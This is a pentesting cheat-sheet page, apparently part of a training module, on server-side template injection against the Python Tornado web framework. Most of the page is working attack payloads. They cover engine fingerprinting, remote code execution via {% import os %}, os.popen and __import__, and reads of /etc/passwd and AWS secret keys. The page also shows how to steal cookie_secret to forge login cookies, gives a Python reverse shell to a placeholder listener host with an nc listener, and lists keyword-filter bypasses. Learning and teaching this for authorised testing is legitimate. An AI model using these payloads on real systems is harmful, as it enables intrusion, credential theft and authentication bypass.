Skip to content

Tornado (Python - Tornado web framework)

Tornado’s template language is a thin wrapper over Python - templates compile to Python functions and run with no sandbox. Unlike Jinja2, it exposes a real {% import %} statement, so you reach os/subprocess directly without any class-graph walk.

# Confirm Python-family eval (same as Jinja2)
{{7*7}} # → 49
{{7*'7'}} # → 7777777 (Python string repeat)
# RCE - the Tornado signature: import a module, then call it
{% import os %}{{ os.system('id') }}
{% import os %}{{ os.popen('id').read() }}
{% import subprocess %}{{ subprocess.check_output('id', shell=True) }}
# Loot - handler object leaks application settings incl. cookie_secret
{{ handler.settings }}

Success indicator: id output (uid/gid line) in the response, or os.system returning 0.

  • Tornado web framework - Python async web server. SSTI happens when attacker input becomes part of the template source that gets compiled - most directly tornado.template.Template(user_input).generate(...), or any code that concatenates user input into a template string before rendering. Note the distinction: a RequestHandler’s render(name) / render_string(name) take a template filename, so controlling only that argument is template-file selection / path traversal, not SSTI - the input has to reach the template body for expressions to evaluate.
  • Standalone tornado.template - the template module is sometimes embedded outside the web framework (email builders, code generators) because it’s dependency-light.
  • Legacy Python stacks - Tornado predates ASGI and lingers in older Python services and internal tooling.

Tornado is the engine the second SSTI exploitation example in the Server-side Attacks module walks through - the one where Jinja2/Twig-specific payloads all return 500 and the working payload turns out to be {% import os %}{{ os.system('whoami') }}.

Step 1 - Confirm and disambiguate from Jinja2

Section titled “Step 1 - Confirm and disambiguate from Jinja2”

Tornado sits in the {{ ... }} family and is Python-backed, so the two fast probes look identical to Jinja2:

{{7*7}} # → 49 template eval confirmed
{{7*'7'}} # → 7777777 Python-family (Jinja2, Tornado, Mako, ...)

Neither of these separates Tornado from Jinja2 - both are Python, both repeat the string. The disambiguation is which engine-specific payloads throw and which evaluate:

# Jinja2-specific - 500 / error on Tornado
{{config}} # Jinja2: dumps Flask config. Tornado: error
{{self}} # Jinja2: runtime Context. Tornado: error
# NOT a distinguisher: the subclass walk evaluates in BOTH (both are unsandboxed
# Python), so a result here only tells you "Python family", not which engine:
# {{ ''.__class__.__mro__[1].__subclasses__() }}
# Use the {% import %} statement below to split Tornado from Jinja2.
# Tornado-specific - evaluates on Tornado, errors on Jinja2
{% import os %}{{ os.getcwd() }} # Tornado: cwd string. Jinja2: error (its {% import %} is for templates, not modules)
{% import sys %}{{ sys.version }} # Tornado: Python version. Jinja2: error

Mako is the other “compiles to raw Python” engine and also evaluates Python expressions. Tell them apart by delimiter:

  • Tornado - {{ expr }} for output, {% ... %} for statements.
  • Mako - ${ expr } for output, <% ... %> for statement blocks, % ... for line statements.

If {{7*7}} evaluated, you are not on Mako (Mako would leave {{7*7}} literal and needs ${7*7}). So within the {{...}}-Python family, the working {% import %} statement points at Tornado.

Tornado’s RCE is trivial, but the handler object is worth grabbing first - it is low-noise and cookie_secret alone is often game over.

# Application settings - cookie_secret, debug flag, DB config stuffed in settings
{{ handler.settings }}
# Request object - headers, cookies, arguments
{{ handler.request }}
{{ handler.request.headers }}
{{ handler.request.cookies }}
# The application instance
{{ handler.application.settings }}
# Current user (whatever get_current_user returns)
{{ handler.current_user }}

handler.settings['cookie_secret'] is the key Tornado uses to sign secure cookies (set_secure_cookie / get_secure_cookie). With it you forge any user’s tornado_user-style cookie and bypass authentication without needing RCE - the same leverage {{config.SECRET_KEY}} gives you on Flask/Jinja2.

When the sink is a bare tornado.template.Template outside a request handler, handler is not defined - skip straight to Step 3.

Tornado templates are not sandboxed. Import a module and call it in the same payload:

# os.system - returns the exit code (0 on success), prints output inline on some sinks
{% import os %}{{ os.system('id') }}
# os.popen - captures stdout, the reliable "show me the output" form
{% import os %}{{ os.popen('id').read() }}
{% import os %}{{ os.popen('cat /etc/passwd').read() }}
{% import os %}{{ os.popen('uname -a; hostname; whoami').read() }}
# subprocess - when os is filtered
{% import subprocess %}{{ subprocess.check_output('id', shell=True) }}
{% import subprocess %}{{ subprocess.check_output(['id']) }}

Prefer os.popen(...).read() - os.system returns the exit status (you see 0, not the command output) unless the sink happens to capture stdout.

{% ... %} blocks chain, so you can import once and use the module across several expressions:

{% import os %}
{{ os.popen('id').read() }}
{{ os.popen('ls -la /').read() }}

When you want full Python rather than shelling out, the eval/exec builtins are in template scope:

{{ eval("__import__('os').popen('id').read()") }}
{% import os %}{{ os.getenv('AWS_SECRET_ACCESS_KEY') }}

Tornado closes every control block with {% end %} - not {% endfor %} / {% endif %} as Jinja2 does. It matters when a payload needs a loop or conditional, and it is a clean secondary fingerprint:

{% for i in [1, 2, 3] %}{{ i }}{% end %} # Tornado → '123'; Jinja2 → error (expects {% endfor %})

({% raw expression %} outputs an expression without autoescaping and does not open a block, so it needs no {% end %} - don’t pair the two.)

When os/subprocess are filtered but import and expressions still work, read files with the builtin open:

{% import io %}{{ open('/etc/passwd').read() }}
{{ open('/etc/passwd').read() }} # open is a builtin - no import needed

Tornado exposes Python builtins in template scope, so open, __import__, and friends are reachable directly:

{{ __import__('os').popen('id').read() }}

{{ __import__('os').popen('id').read() }} is the shortest Tornado RCE - no {% import %} statement needed at all, just the builtin __import__ in expression context.

Standard Python reverse shell through os.system:

{% import os %}{{ os.system('python3 -c \'import socket,os,pty;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")\'') }}

Listener:

Terminal window
nc -lvnp <LPORT>

When quoting across the sink is awkward, base64 the inner command:

{% import os %}{{ os.system('echo BASE64_PAYLOAD | base64 -d | python3') }}

When keywords (import, os, system, popen) are blocked, see filter bypass. Tornado-specific quick wins:

# __import__ builtin avoids the {% import %} statement keyword entirely
{{ __import__('os').popen('id').read() }}
# getattr chain avoids a literal 'popen'
{{ getattr(__import__('os'), 'pop'+'en')('id').read() }}
# dodge a literal command-string filter (e.g. 'id' blocked) - split the command
{% import os %}{{ os.popen('i'+'d').read() }}
# dodge a literal 'os' filter - split the module name
{{ __import__('o'+'s').popen('id').read() }}
# dodge a literal 'system' filter - build the attribute name
{{ getattr(__import__('os'), 'sys'+'tem')('id') }}

Because template scope is raw Python, any filter-bypass that works in a Python eval sink works here - string building, getattr, chr()-assembled names, hex-escaped identifiers.

Confirm Tornado without escalating:

{{7*7}} # eval probe → 49
{% import sys %}{{ sys.platform }} # → 'linux' / 'win32' - confirms module import works
{{ handler }} # → <...RequestHandler object> when sink is a handler

{% import sys %}{{ sys.platform }} is the cleanest non-destructive Tornado confirmation - it proves module import works (ruling out Jinja2) without running a command.

  • {{config}} / {{self}} throw but {{7*7}} works. You are Python-family but not Jinja2. Try {% import os %}{{ os.getcwd() }} - if it evaluates, it’s Tornado.
  • os.system returns 0 and no output. Expected - system returns the exit code. Switch to os.popen('...').read() to capture stdout.
  • {% import os %} raises a syntax error about end. Your payload opened a block Tornado expects you to close - but a bare {% import os %} needs no {% end %}. The error usually means a different block (a stray {% if %}/{% for %}) is unterminated.
  • Output is empty but no error. The sink rendered the template but discarded the expression value. Assign and echo, or make the whole payload a single {{ ... }} expression ({{ __import__('os').popen('id').read() }}).
  • handler is undefined. The template is rendered by bare tornado.template, not a RequestHandler. Loot via handler is unavailable; go straight to {% import os %} RCE.
  • No sandbox. Tornado has no equivalent of Jinja2’s SandboxedEnvironment - there is no “sandboxed Tornado” to escape. If you can evaluate {{ ... }}, you have Python. This makes Tornado SSTI simpler and higher-impact than Jinja2 SSTI, where the sandbox and the class-graph walk add steps.
  • {% import %} is the whole trick. The subclass-walk gymnastics the Jinja2 page documents are unnecessary here - Tornado hands you import directly. Reach for the walk only if import and __import__ are both filtered.
  • {% end %} closes every block (not {% endif %} / {% endfor %}). Both a fingerprint and a requirement when your payload uses control flow.